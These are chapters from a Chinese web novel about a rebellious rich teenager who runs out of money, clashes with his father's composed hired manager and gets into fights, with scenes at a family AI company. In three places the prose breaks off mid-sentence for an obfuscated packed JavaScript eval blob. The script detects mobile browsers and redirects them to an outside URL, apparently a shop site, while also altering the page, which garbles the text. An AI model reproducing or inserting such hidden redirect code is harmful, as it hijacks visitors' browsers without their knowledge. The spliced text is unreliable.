易继勋嗤笑一声,不屑地怼回去:“你跟老子扯什么‘爽’字的错号?那‘刚’字全是硬邦邦的横竖画,是不是注定了人活着,就不能任人拿捏?” 沈知珩眼底飞快掠过一丝讶异,转瞬脸上漾开笑意。 不是张扬的笑,是透着文人气质的清朗爽朗,眉峰舒展,唇角弯起的弧度克制却真切:“易董说你成绩差强人意,我看脑子挺灵光的,还会举一反三,将来成绩一定会进步。”他话锋微转,又道:“那我想问问你,昨天去KTV,有没有也举一反三,学到些什么?” 昨天在KTV,他因银行卡被停、没钱付钱而与人起冲突的过程,被沈知珩看得一清二楚,简直丢人现眼。 易继勋眉眼间的野气丝毫不减,说起话来依旧带着咄咄逼人的凌厉,一副没理也能辩三分的模样:“学到了——下次被我爸停银行卡前,多囤点现金。” “你的想法很新奇,”沈知珩打趣道,“不过,换作是我,交友前会先仔细甄别。那些靠着一身野气在社会里摸爬滚打的混混,看上去生命力旺盛、经历复杂,很容易让人产生错觉,以为那是魄力、是血性。可真走近了你就会发现,他们的世界观、价值观远没有表面看上去那么可靠。人以类聚,什么人该深交,什么人该避而远之,得拎得清才行。” “‘囤现金’是低效的规避方式,本质是用被动储备对抗未知风险。而‘严控现金流失’即是精准止损,规避不必要的消耗,本身就是一种隐性增值。” 易继勋抬眼,眉骨压着几分冷硬的认真,喉间轻顿片刻,语气又懒又冲:“轮得到你来教我?你真当我什么都不懂?” 沈知珩风淡云清道:“易少不必多想,我不是说教。我受雇于你父亲,拿易家的薪酬,为易家办事,于情于理,有些话,我理应提醒一句。” 易继勋是个学渣,最烦别人讲这些拐弯抹角、绕来绕去的论调,听着就脑壳疼。 可沈知珩这些话,他竟一字不落全听懂了。卡在嘴边的反驳在心里翻来覆去好几遍,愣是找不出破绽。 枯燥又晦涩的内容,到了这个男人嘴里,居然能被他说得娓娓道来。 顿了下,易继勋嘴上不肯服软:“多管闲事,少在这儿指手画脚。” 然后,头也不回地往门口走。 “砰”的一声关门响,沈知珩笑着摇了摇头,继续吃早餐。 * 易继勋的银行卡被停了,微信余额只剩十五块。在高消费的A市,这点钱刚够买两个肉包子和一杯热豆浆,凑活吃了一顿早餐。 他一贯没什么作息章法,随意得很,自己住又不会做饭,早餐于他而言本就是可有可无的东西,大多时候不吃也能挺过去,更谈不上挑拣好坏。 走在路上,不知怎么回事,沈知珩关于KTV的举一反三之论,总在他脑子里挥之不去。 烦死了,烦死了。易继勋抓了下头发。 第N遍想着那些话时,他脸色一沉,忽地想起自己还欠着KTV那个陪酒小姐三万六千块没转。 他摸出手机,想着先用信用卡周转,可转念才想起,自己是未成年人,没有家长监护根本办不了信用卡,自然没法用信用卡付款。 一腔火气堵在胸口,发不出来也咽不下去,易继勋狠狠按灭手机屏幕,抬脚踢了踢路边的小石子,随便找了处花坛边坐下,后背往冰冷的栏杆上一靠。 欠女人钱还找借口推脱的事,他做不出来。可眼下分文难倒英雄汉,唯一的法子,就是借钱。 易继勋再次滑开手机,翻遍了微信联系人列表。 他的好友不多,未成年的同学自然没能力借钱给他,而那些酒肉朋友,多半是有难就躲,借了也是白借,他压根不屑开这个口。 越看火气越大,他没有主动删人的习惯,索性朋友圈屏蔽+消息免打扰了一个个需要“避而远之”的人。 手指划到列表底部,易继勋的目光落在自己骨节分明的手腕上。 这块腕表是上个月易承渊送他的十七岁生日礼物,价值二十万,只可惜被他不小心摔过两次,表壳上添了几道浅浅的划痕。 纠结不过片刻,易继勋咬了咬牙,还是决定把表卖掉,先解决眼前的麻烦。 他起身直奔本地的二手奢侈品回收店,二手奢侈品本就存在折旧损耗,再加上表身品相受损,这块二十万的名牌表,最终只卖了四万。 拿到钱后,他打开那个女生的支付宝,输入三万六千块,在留言栏敲下“找份正经工作,别再做这个了”。 停顿了几秒,又把打好的字一个个删掉,干脆地点击了转账。 退出软件,手机屏幕的日期赫然显示着8月20日。 开学的日子近了,易继勋想着趁开学前再去网吧泡会儿。 夏末的网吧里闷着股燥热,空调风裹着断断续续的烟味飘来飘去,耳机里的喊杀声、键盘鼠标的噼啪声混作一团,玩个游戏堪比临场打仗。易继勋熟门熟路走进常去的那家,开了台机子,指尖落上键盘便扎进了网游里。 几把下来,脖颈酸沉得发僵,他闲散地靠在电竞椅上,伸手拧开桌角的矿泉水瓶,灌了几口冰镇水。 忽然,有人轻轻拍了下他的后背。 易继勋侧头看去,是姜白。 “易哥,我想跟你解释点事。” 姜白能寻到这儿,想来也是常来这家网吧的,算是碰巧撞见了他。易继勋脸上没任何情绪起伏,转回头将手里的瓶子搁在桌角,淡淡开口:“解释什么。” 见他肯接话,姜白眼底掠过一丝活络,忙拉开旁边的椅子挨着坐下,身子微微前倾凑了些,熟稔地搭话:“易哥,昨天那个看着挺有来头的人,是你朋友吧?看着斯斯文文的,本事可不小啊,年纪轻轻连局长都认识。” 易继勋懒得听他瞎扯,沉声道:“说正事。” 姜白干笑两声,搓着手踟蹰了几秒,腆着脸赔话:“易哥,其实我真不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我难道说的不对吗?”易继勋打断他。 眼见着再也瞒不住,姜白索性破罐破摔,脸上的讨好尽数褪去,只剩满脸的不服与怨怼。 话虽冲,眼神却下意识躲闪着不敢看他:“是又怎么样?你是帮了我不少,我跟着你也沾了点光,可那又如何?你生来就含着金汤匙,家里有钱有势,你随手给我的那点东西,对你来说不过是九牛一毛,随便施舍罢了!我拼尽全力想要的,对你来说不过是唾手可得,这不过是你命好!你凭什么生来就比人高一等,凭什么对着我趾高气昂的?” 网吧里依旧吵吵嚷嚷,键盘声、喊叫声不绝于耳,可此刻,两人之间的空气却像是凝住了,透着说不出的寂静。 沉默了半晌,易继勋缓缓转过头,罕见的平静道:“说完了?” 姜白也没料到自己会不过脑子说出这些话,一时不知如何收场。怕他动手,从椅子上起身,往后退了两步拉开距离,闷声应了个“嗯”。 “说完了,那就别在我跟前碍眼,该去哪去哪。” “易哥……你不生气?”姜白满脸震惊,难以置信地看着他。 易继勋收回目光,重新落回电脑屏幕上,像在说一件无关紧要的小事:“你算计我,让我损失了些钱,咱们就算扯平,以后互不相欠。也别一口一个易哥叫着了,我担不起,咱们也算不上什么朋友了。” 姜白怔怔地看着易继勋,张了张嘴,想说其实事情也不全是这样。 最后却什么也没说。 从前他围着易继勋转,嘴上甜腻地喊着易哥,偶尔占些小便宜,易继勋纵使不耐烦,可从没真正计较过。 甚至他遇事求到门上,易继勋永远都是二话不说伸手帮衬。 说白了,他就是嘴硬心软。 可现在的易继勋,连看他的眼神都像在看一个可有可无的陌生人。 不知怎么了,这次,似乎连一点挽留的余地都没有。 铁了心地,不会再给你重新做朋友的机会。 * 打了一下午游戏,心情也差不多平复下来的易继勋,正准备起身出去吃晚饭。 刚站直身子,桌上的手机屏幕忽然亮了起来。 是班级微信群的消息提示。 易继勋拿起手机解锁点开。是班主任老刘发来的消息。 老刘:“同学们,暑假眼看就要结束啦,咱们开学就正式踏入高三,开启冲刺阶段了!提醒大家记得提前备好学费和书杂费,报到当天统一上交,有不清楚缴费金额和流程的,随时私聊问我就行。这段时间大家也别光顾着玩,抽空收收心,调整好状态,咱们高三一起加油,争取都能考上心仪的学校!” 5. 第 5 章 黑白颠倒浑浑噩噩捱了五天四夜,熬得浑身发软的易继勋,回了租的房子,只想倒头睡个天昏地暗。 他扯了外套扔在地毯上,刚沾着床阖上眼没几分钟,床头柜的手机就刺啦响了起来。 易继勋蹙着眉头,闭着眼抬手摸过去,烦躁地挂断。 铃声又响。 再挂。 第三次震动钻入耳膜时,他猛地坐起身,拿起手机就要按关机。 屏幕亮起的瞬间,看到备注栏的“房东”两个字,眼睫颤了颤。 他这才后知后觉想起,月底的房租,已经迟了三天。 指尖顿了下,还是滑开了接听。 “小易啊,可算接电话了,前两天微信电话都没个回音。”听筒那头传来中年女人温温柔柔的嗓音,只轻轻提了句,“该交房租了。” 前几天跟学校那几个认识的同学泡在网吧里,早把日子和消息抛到了九霄云外。 易继勋喉间滚了滚,低声应:“知道了。” 他一向按时交租,房东也没多话,又客套两句便挂了电话。 易继勋捏着手机,迷迷糊糊靠在床头,目光穿过窗户,扫过这间地处繁华市中心的现代化高档小区,又扫过装修精致的卧室,眸色沉了沉,怔了许久。 易承渊几年前把他从偏远小镇的远房亲戚家接回来时,他刚升入初中,选择了住校。后来他考上高中,不愿再住校,觉得不够自由,易承渊便打算将他接回家。 可他怎么可能跟那个女人还有她的儿子,凑成一副“一家四口”和和美美的假象。 他从来都是硬骨头,旁人越是逼,他越是犟。当初为了在外租房的事,他跟易承渊吵得翻了天,话赶话戳了易承渊的痛处,那男人一气之下,抬手就给了他一个耳光。 所以易承渊本就反对他在外住,自然不可能给他置办房子,这处看着体面的住处,不过是他租下的,每月的房租,都不是个小数目。 十指不沾阳春水、从来没为钱犯过愁的易继勋,翻出手机看余额。 前几天刚交了1600元的学费、300元的书本费,再加上这五天四夜胡吃海喝的花销…… 屏幕上的数字刺目得很。 260.3元。 没钱,自然没资格占着别人的房子。 第二日天刚亮,他拖出行李箱收拾了东西,将箱子靠在玄关,自己蹲在门口,指尖夹着根烟,烟雾缭绕里,锐利的眉眼间带了几分愁色。 他弹了弹烟灰,左思右想,大不了高三不念了,反正他也不爱学习,直接去外面打工,总能凑够房租和生活费。 “早上我给老板打扫卫生,老板让我扔一床被子,我瞅着挺好的,一摸这面料就值不少钱,扔了多可惜啊。”中年钟点工阿姨脸上堆着憨厚的笑,一边掂了掂手里的被子,一边絮絮叨叨,“前几天我都给他洗干净晾透了,跟新的没啥两样,也不知道为啥好好的新东西要扔,还是有钱好啊!回去我得好好督促我家小子好好学习,将来也能像老板这样,年纪轻轻就这么有出息。” 易继勋闻声下意识抬头,目光落在女人怀里捧着的灰色羊绒被子上。 那是他那晚在沈知珩家里盖过的被子。 他狠狠吸了口烟,低骂一声“操”。 装逼装到这份上?穷讲究什么!是嫌老子脏,连盖过的被子都要扔掉? 正憋着气,隔壁传来关门的轻响,易继勋目光下意识瞥去,就见一个穿着剪裁得体的西装、脚下踩着意大利黑色手工定制皮鞋的男人走了过来。 这几天易继勋过得很清净,这小子居然没像个说教的老师似的来烦他,也算有几分自觉。 易继勋吸了口烟,将烟蒂摁在地上碾了碾,懒散地站起身。 然后,慢悠悠地对着刚开口道“易少,早”的沈知珩的脸上吐了个烟圈。 沈知珩被迫吸了口二手烟,眼底的凉意被镜片掩去。 在他的圈子里,从来都是人人谨守本分,浑身烟味熏得入骨、还敢离他这么近、肆无忌惮挑衅他的人,他还是第一次遇见。 他目光淡淡扫过易继勋脚边的行李箱,薄唇微启,似笑非笑道:“易少这打招呼的方式,倒是独树一帜。” “少跟老子装蒜,”易继勋冷着脸,不耐道,“是你唆使我老子停了我的零花钱的吧,还有上次把老子打晕的账,咱们还没算清楚呢。” 沈知珩神态自若道:“这个问题我和你解释过,我没必要让易董停了你的零花钱。易少再次追问,难不成,是想让我养着你?” 谁要你养了?老子缺你那口饭吃? “是不是你主动提的,确实不好说,”易继勋拖长了腔调,“但你肯定顺坡下驴了,至于好处,无非就是想拿捏我、掌控我。” 被说中心思,沈知珩面不改色道:“按你这个逻辑,我想问问——这几日,我打扰过你一次,或是干涉过你的个人生活吗?” 没有。 “况且,我瞧着你性子傲得很,不会屈尊来求我,更不会跟我开口借钱。” 的确不会。 沈知珩接着道:“既然我既没干涉你,你也不会依附我,我们就不会产生交集,那‘拿捏’‘掌控’一说,又从何谈起?” 这小子,很会诡辩啊。易继勋懒懒地扬了只眉。 沈知珩依旧不急不缓道:“至于打晕你那件事,我先前说过,实属迫不得已。易少要是实在咽不下这口气,不妨说说,你想怎么解决?” 当然是要把上次的账连本带利还回去。 易继勋猛地抬起手,猝不及防就朝着沈知珩的脸砸了过去。 他的身手非常凶猛,街头摸爬滚打的打架经历早把他练得远超常人,从前跟道上的人硬碰硬,他都没吃过亏。 本以为这一拳定然能砸中。 没曾想,沈知珩的反应快得惊人,头一偏就轻巧躲了过去。 易继勋眼底掠过一丝错愕。 上一次,他还能拿“喝醉了手脚迟钝”当理由,可这次,他神志清醒,出拳时也用足了力道,没道理会落空。 沈知珩的躲闪太过流畅,像是历经千锤百炼的本能,刻在骨子里的条件反射。 实在难以理解,眼前这男人长着一张白白净净的脸,谈吐斯文得像实验高中的顶尖学霸,眉眼间尽是书卷气与精英感,居然会有如此利落的身手。 易继勋眼底翻涌着戾气,目光凶狠如狼,这下是真的动了真格。沈知珩自然不会站着挨打,两人瞬间缠斗在一起,招式干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233782|197641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆,颇有几分专业较量的架势。 易继勋像是红了眼,一门心思要把沈知珩打趴下才肯罢休,招招狠厉。 可沈知珩压根没空跟他耗。 他还要赶去上班,不能在这里耽误时间。 只见他精准接住易继勋挥来的拳头,不再留手,顺势伸手扣住他的手腕,力道陡然加重,猛地将他的手臂往后一拧,紧接着往前一带,将人狠狠按在了冰冷的墙壁上。 手腕被攥得生疼,对方的手劲儿大得惊人,像老虎钳子似的牢牢锁住他,动弹不得。 易继勋肩头紧绷,小臂因用力挣扎而青筋暴起,额角渗出细密的薄汗,腿弯还被沈知珩用膝盖死死抵着,整个人被控制得严严实实,像砧板上任人宰割的鱼肉。 他脸色难看到了极点,喉间滚出一声低吼:“你特么放开老子!” 男人站在他身后,易继勋看不清他的表情,两人距离近得能闻到他身上淡淡的古龙香水味,混杂着几分清冷的气息。 下一秒,沈知珩平缓又带着几分不解的声音传入耳中:“不过是几句争执,为什么要动手?就为这点小事,值得吗?” 易继勋的目光骤然顿在墙面上,周身的戾气似是僵了一瞬。 这事,他从来没跟任何人提起过。 当年易承渊把接回A市后,见他性子暴戾、极易冲动,就带他去做了检查,结果查出他患有轻度狂躁症。 说他是精神病,倒不至于那么严重;可要说他心理没问题,也不尽然。 大多时候他能克制,可一旦情绪上头,那股子戾气就像脱缰的野马,连他自己都控制不住。 就像此刻,明明只是被反驳了几句,他却下意识动了手。 易继勋冷哼一声:“老子做事,只图个爽,管它值不值。” 又是这样不管不顾的性子。沈知珩无奈地勾了勾唇角,该说的道理早就和他讲过,他既不愿听,自己也没多余的精力与义务再重复第二遍,只想着旁敲侧击警告几句,让他往后别再动辄动手纠缠。 电梯“叮咚”一声响,门缓缓打开。 这小区地段绝佳,易继勋一退租,这套房子立马就有了新租客。 易继勋喉间滚出一声呵斥,硬邦邦道:“还不快放开老子!” 闻言,沈知珩指尖力道微微松开,也不想此情此景被人看到。 没曾想少年仍是一副不服输的模样,借着这丝空隙猛地甩开了他的桎梏。 易继勋黑漆漆的眸子里泛着冷意,恶狠狠地撂下一句“你给老子等着”,弯腰拎起脚边的行李箱,转身就要走。 可脚步刚抬,他就顿住了。 电梯口站着一个约莫三十岁的女人,正目光灼灼地看着他们,脸上的表情格外丰富。 意识到自己打架输了、丢人丢到家的模样被撞见,易继勋的脸色瞬间沉得发黑。 可那女人却困惑地摸了摸下巴,好奇的目光在他和沈知珩身上来回打转,眼底满是探究与惊奇。 片刻后,她像是忽然想通了什么似的,低低笑了两声。 朝着两人挤了挤眼睛,便踩着小高跟、迈着小碎步往自己家的方向走。 路过时不忘回头摆了摆手:“你们继续,就当我不存在啊。” 6. 第 6 章 易继勋兜里没剩几个钱,又没地方落脚,只能拎着行李在网吧凑合一宿。 次日清晨,手机铃声响了好几遍,才把趴在电脑桌前的易继勋吵醒。 他脑袋抵在臂弯里,慢慢抬起头,只觉得太阳穴阵阵酸痛。 眼神还带着未散的惺忪,他滑开手机屏幕,看清来电显示是老刘后,按下了接听键。 电话那头立刻传来老刘的训斥:“易继勋!平时逃课我就睁一只眼闭一只眼了,今天第一天开学,早自习都快结束了,你跑哪儿去了?别得寸进尺,赶紧过来上课!” 昨晚打游戏时他不知不觉睡着了,网吧的空调凉风吹了他一整晚。 易继勋感冒了,说话带着浓重的鼻音,只低低地“嗯”了一声应下。 挂了电话,他拦了辆出租车往学校赶。 刚上楼,就听见老刘的吼声从教室里传出来:“岳星野!我就离开不到五分钟,你就敢偷摸吃糖豆?还敢仰着头用嘴接,像什么样子!这是学校,不是逗猴的动物园!” 易继勋没打算多讲究礼数,抬手随意敲了两下门,算是走个过场,没等里面回应,就径直推门走了进去。 正站在讲台上苦口婆心说教的刘博,瞥见他进来,顿时顿住了话头。 这位矮胖秃头的中年班主任,盯着易继勋沉声道:“易继勋,眼里没老师是吧?进来不知道打声招呼?” 易继勋随口道:“老刘,早啊。” 高中生活单调,除了学习,稍有点有意思的动静就能逗得全班哄笑。这话一出,教室里顿时爆发出一阵低低的笑声。 刘博脸一沉:“没大没小的!有你这么跟老师说话的吗?” 刚才昏沉间没多想,张口就习惯性地叫了平时和同学闲聊时的称呼。易继勋回头看向刘博,扯了扯唇角,漾开一抹散漫的笑:“刘老师,早上好。” 刘博没好气地瞪了他一眼:“臭小子,这还差不多。” 易继勋从门口走到最后一排的角落,全程都被全班同学的目光追着,众人的神色里,都带着难言的情绪。 易继勋依旧没穿校服,一身黑色短袖配黑色休闲裤,脚下踩着一双运动鞋,哪怕只是随意走几步,都透着股野性不羁的劲儿。 别说他是三高最帅的学生,就算把整个A市的高中生都算上,说他是最帅的也不为过。 就是脾气太凶,要是能温和些就好了。 刘博清了清嗓子:“都给我收收心!第一节是李老师的语文课,你们现在已经高三了,一轮复习正式开始,都给我用心听!要是现在不好好学习,等毕业之后,有你们后悔的,到时候别连捡垃圾都没人要!” 说到这儿,他瞥了眼后排刚坐下就趴在桌子上睡的少年,无奈地叹了口气,“别的我也不多啰嗦,实在不愿意学习的,就安安静静待着,别打扰那些想好好学习的同学,听见没?”说完,他拿起讲台上的银色保温杯,转身走出了教室。 ...... “易哥,你今儿咋这么蔫啊?是不是昨晚泡妹子泡到通宵没合眼?哪个大美女啊,给兄弟瞅瞅长啥样呗!” 语文课结束的课间,陈续坐在易继勋前面的椅子上,转过身凑过来,胳膊肘怼了怼他。 “泡你妹,操。”陈续这张嘴,吐不出一句正经的。易继勋抬眼,唇角勾出点漫不经心的弧度,起身,拿起矿泉水瓶灌了两口,干涩的嗓子才算松快些。 站在陈续旁边的何宇推了推眼镜,弯下身探着脑袋问:“易哥,你是不是感冒了?” “没。”易继勋翘着腿往椅背上一靠,“降温,早上吹风凉着了而已。” “那易哥你可得注意点,别加重了。”何宇信了他的话,没多问。 陈续又凑上来,一脸神秘兮兮的八卦样:“你们最近有没有听说个事儿?超劲爆的!” 何宇配合地问:“什么事儿?” “咱们学校之前那保安,前几天被开了!你们猜猜为啥?”陈续绘声绘色道,“上学期期末,有个女生晚自习结束,一个人去地下车库取自行车,差点儿被那保安猥亵了!刚好她爸不放心,过来接她,当场就抓着了!你说吓人不?要是她爸没去,那后果可不敢想!” “你们猜后续咋着了?” “别卖关子了,赶紧说。” 陈续一脸义愤填膺:“后续学校一查,我的天!那保安居然不止猥亵过一个女生!太特么恶心人了,简直是变态!” 何宇皱着眉点头:“确实太恶心了。” 易继勋没说话,目光落在自己的小臂内侧。 那里留着一道直勾勾的疤痕,还带着点未愈的淡红。 那天晚上,他准备去取摩托车,路过地下车库,撞见那个保安伸手往女生衣服里探,当即就冲了上去。 厮打间,保安猝不及防地掏出了一把小刀,狠狠划在了他的小臂上,留下了这道疤。他当时没顾上疼,反手制住保安,夺下了那把刀,最后那保安吓得魂飞魄散,连滚带爬地跑了。 “易哥?易哥你想啥呢?”陈续见他没吭声,伸手在他眼前晃了晃,“你是不是也听说这事儿了?我还好奇呢,剩下那几个女生的事儿,咋没风声啊?” 易继勋抬手,一把拍开他的手,不耐道:“少废话,你是十万个为什么吗?什么都想知道。”说完,他从兜里摸出手机,滑开屏幕,点开游戏玩了起来。 “易继勋,诺,给你。” 一双纤细的手伸到易继勋眼前,指尖缀着五颜六色的美甲,手上托着一杯奶茶。 易继勋抬眼看清来人是校花陆真真,淡淡收回视线:“我不爱喝甜的。” 陆真真脸上那点藏不住的、少女暗恋的雀跃,瞬间僵住,眼底漫开失落,手还僵在半空,举着奶茶进退两难。 陈续大大咧咧地从陆真真手里接了奶茶:“别浪费了!不喝给我,正好我馋这口了,现在下楼买也赶不上上课了。多少钱来着?八块是吧,我转给你!” “哎我去,何宇你戳我胳膊干嘛!” 周遭没人接话。 陈续更茫然了,挠了挠头:“咋了?我又说错啥话了?” “陈续,你没说错什么,”三高另一个校霸岳星野慢悠悠地走过来,没好气地睨了易继勋一眼,嘲讽道,“是有人太不识抬举了。” 易继勋自然听出这话是冲自己来的,依旧低头玩着手机,懒得搭腔。 岳星野傲慢地站在易继勋桌前,下巴微抬:“喂,晚上放学,一起去打台球啊?真真,你也跟我们去吧。” “我为什么要听你的。”易继勋这才抬眼,凉凉道。 “你……”岳星野被堵得一噎,一肚子不服气,顿了顿才憋出话:“又不是白让你来,赢了我,给你五百块钱怎么样?” “我的妈呀!”陈续咋呼起来,“你也太抠了吧!就你这几百块钱,易哥之前请我和何宇吃顿饭都不止这个数。你家里不是做生意的吗,手里不是有俩小钱嘛,再加点呗!” 岳星野:“……” 安静了几秒。 易继勋放下手机,抬眼,脸上没什么情绪,只淡淡吐出两个字:“可以。” 何宇:? 陈续:????? * 几人结伴来到学校附近新开的台球厅。 这里装修精致,灯光柔和,球桌与休息区划分规整,少了几分杂乱,多了几分清爽现代感。 跟在易继勋身边的陈续还是百思不得其解,小声道:“易哥,你到底为啥同意啊?就岳星野那点钱,对你来说不就是洒洒水嘛!” 易继勋无波无澜地扫了他一眼:“少废话。” 几人走到一张标准美式落袋球桌旁,岳星野随手拿起一根台球杆,抬眼看向易继勋道:“规矩就按老样子来,美式落袋,轮流开球,打进自己的目标球,最后打黑八定胜负,谁先把黑八打进指定袋口,谁就赢。” 易继勋漫不经心地颔首,指尖勾过另一根球杆,抬手摘下球杆顶端的皮头保护套,随意地蹭了蹭皮头。 陆真真将台球摆成三角形球阵,摆好后走到易继勋身边,抬手比了个小小的加油手势:“加油啊,易继勋。” 易继勋的目光落在她身上,女孩梳着高马尾,发尾烫了点卷曲,脸上画着清淡的妆容。蓝白相间的校服领口微微敞开,里面的黑色内搭隐约露出,勾勒出精致的锁骨线条。 他不着痕迹地移开目光,下意识往旁边挪了一步拉开距离,淡声道:“别靠太近,免得打球的时候撞到你。” 说完,他从兜里摸出烟盒,弹出一根烟咬在嘴边,偏过头点燃,烟雾袅袅升起。 岳星野率先俯身开球,球杆击中母球,母球飞速撞向球阵,台球四散开来,好几颗球擦着袋口滚动,其中几颗目标球顺利落袋。 他球技不算差,开局便有收获,眼底掠过一丝得意,抬眼挑衅地看了易继勋一眼。 易继勋吐掉嘴里的烟,随手将烟摁灭在旁边的烟灰缸里,俯身对准母球。 他身形挺拔,后背线条层次分明,肩胛骨随着弯腰的动作微微突起,指尖稳稳架住球杆,目光锐利地锁定目标球,没有半分犹豫,手腕轻扬,球杆精准发力。 母球带着破空声弹出,稳稳撞上一颗全色球,那球顺着桌面滚动,毫无偏差地落袋。 不等岳星野反应,易继勋直起身,微微调整姿势再次俯身,动作连贯流畅,接连几杆,每一次出杆都精准无比,目标球一颗颗被送入袋中,桌面上的台球渐渐减少。 不过片刻,桌面上就只剩下母球和黑八。 易继勋直起身,倚着球杆,眉眼间漫着股肆意的懒劲儿,仿佛刚才那一连串惊艳的击球对他来说不过是随便玩玩。 岳星野看着桌面,眼底满是难以置信和不服气。 虽然早听过易继勋会玩台球,可从没想过对方会厉害到这种地步,分明是被技术碾压,根本没有翻盘可能。 一想到输了不仅没面子,还要给易继勋五百块钱,他心里就直上火,睨了易继勋一眼,悻悻道:“我去趟洗手间。” 趁着这休息间隙,陆真真看向几人,笑着问道:“你们想喝点什么?我请你们。” “这怎么好意思让女生花钱呢?” “一共就二十多块钱的东西,别跟我磨叽了,快说要点什么。” “我要可乐!” “我来瓶矿泉水。” “......” 易继勋坐在台球厅角落的休息椅上,指尖无意识地摩挲着球杆,神色慵懒。 忽然,一阵打斗声传来。 陈续最先反应过来:“哎?这声音怎么听起来像是岳星野啊?易哥,咱们要不要过去看看?” 循着声音往楼下走,断断续续的争执与打斗声传入耳中,易继勋几人摸清了前因后果。 原来是陆真真下楼买水,被几个青年缠上了。为首的是个短发寸头,凑到陆真真面前问她单不单身,要不要做自己女朋友,陆真真当即拒绝,对方却依旧不依不饶地逗弄她。刚好被从洗手间出来的岳星野撞见,他本就因台球输了憋着气,见陆真真被骚扰,当即就冲了上去,双方一言不合便打了起来。 易继勋快步走过去,眸色沉了下来。 按道理说,三高是除职高外A市成绩最差的高中,学生大多不爱学习,性子随性,岳星野身为三高校霸,身手向来不错,怎么也不至于被几个人打得蜷在地上,捂着肚子直哼唧。 易继勋的目光扫过那几个青年。 这几人不太像街头晃荡的普通混混,站姿挺拔,出手狠辣,身上带着股常年混江湖的戾气。 像是沾了黑//道的边。 其中一个青年居高临下地踩着岳星野的胳膊,语气阴狠又傲慢:“今天想走可以,跪下叫声爸爸,老子就饶了你。” 陆真真站在一旁,满脸慌乱,眼泪止不住地往下掉,又不敢上前。 站在易继勋身旁的陈续见状,当即就忍不住跑了过去,叫嚷道:“我说你们几个别太过分了!光天化日之下欺负人,真当没人管了?” 他刚靠近,那伙人的头子便抬眼扫了他一眼,眼神阴翳冰冷,带着毫不掩饰的杀意。 不过一个眼神,就把陈续钉在了原地,到了嘴边的话也咽了回去。 另一个青年对着岳星野抬了抬下巴,又瞥了眼陈续,嘲讽道:“看见没?这就是多管闲事的下场。” “多管闲事,又怎么样呢?” * 下午四点,易氏科创公司的会议室。 长形会议桌主位上,沈知珩身着剪裁得体的黑色西装,身姿挺拔,正主持着本季度新项目月度总结会议。 “各位同仁,本次月度总结会议,主要围绕新产品迭代与市场布局展开。” “易氏科创新研发的AI智能办公助手,核心刚需功能涵盖会议实时转写、多语种同声翻译、文档智能梳理、话术生成等模块,这是咱们初创公司切入市场的基础盘,对标行业内头部XX企业的同款产品矩阵。” “……” “世人皆以为AI是新兴赛道,实则早已是群雄逐鹿的红海,各大企业争相布局、抢占份额。‘逆水行舟,不进则退’,如果咱们的产品只复刻同类功能,缺乏差异化附加创新,必然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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王浩然攥了攥手里的文件,拘谨地站在办公桌前,斟酌片刻后,试探着开口:“沈总,您真的要裁掉项目部的周部长吗?他在行业内深耕多年,牵头落地过好几个重点项目,把控过项目全流程推进,只是现在岁数渐长,可能精力不如年轻时了。” 沈知珩抬眼,唇角勾起一抹极淡的温和笑意:“他负责的X项目,在我进公司之前,就已经连续两个季度没达到项目交付指标,占着公司大半项目经费和人力,却始终拿不出突破性推进方案。不裁他,裁谁?” 王浩然咬了咬唇,又小心翼翼地劝道:“可周部长人品没问题,平时工作也踏实肯干,而且人力资源部那边说,他家里还有两个刚上初中的孩子,全家都靠他这份工资糊口,要是现在失业,确实挺难的。沈总,我能不能说说我的想法?” 沈知珩放下手里的水性笔,身体往后一靠,慵懒地陷在真皮办公椅里,笑了笑道:“说了多少次,在外人面前,你叫我沈总;私下里,叫我一声学长就好。你、我,还有你父亲王局,私下里都一起吃过好几次饭了,都是老朋友,不用这么见外。” 闻言,王浩然紧绷的神色松了些,不好意思地笑了两声,语气也随意了些:“学长,我觉得这次这事,也不全怪周部长。咱们的竞品B公司也太黑了,故意买水军散布谣言,说咱们的X项目存在数据安全漏洞,导致不少合作方临时终止洽谈。周部长就是个老实人,没那么多心眼应对舆论,况且他家里的情况摆着,真不能这个时候失业,看在他人品靠谱、也曾为公司出过力的份上,要不要再给他一次机会?” 沈知珩神色淡然道:“浩然,我纠正你两个误区。第一,公私必须分明,他的家庭情况和公司决策毫无关联,公司不是慈善机构,养不起毫无产出的人。第二,市场竞争本就是弱肉强食,没有所谓的黑不黑,问题不在竞品手段卑劣,而在周部长面对舆论危机和项目停滞,毫无应对之策,只会被动等待,最终让公司蒙受损失,这样的人留着就是隐患。” 王浩然眼底闪过一丝认同,顿了几秒,又带着几分义愤填膺道:“那学长,你面对这事,是不是已经有办法了?听说,竞品B公司先前就抢过咱们的项目合作资源,被咱们挡回去了,这次又玩阴的,真不想就这么放过他们!” “急什么,”沈知珩微微垂眼,压着眸底的冷寂,思路很敏捷道,“让公关部走正规维权流程,发声明、晒证据,稳住现有合作方和核心用户,堵住谣言扩散的口子。技术部私下追踪水军源头,固定B公司买水军的实锤证据。记住,证据不能直接公开,咱们主动下场互撕,只会陷入抹黑泥潭,得不偿失。等证据确凿,匿名发给行业权威媒体、财经博主和核心用户,让他们牵头引导舆论反转,届时B公司抢资源、造谣言的黑料被扒,自然会自食恶果。” 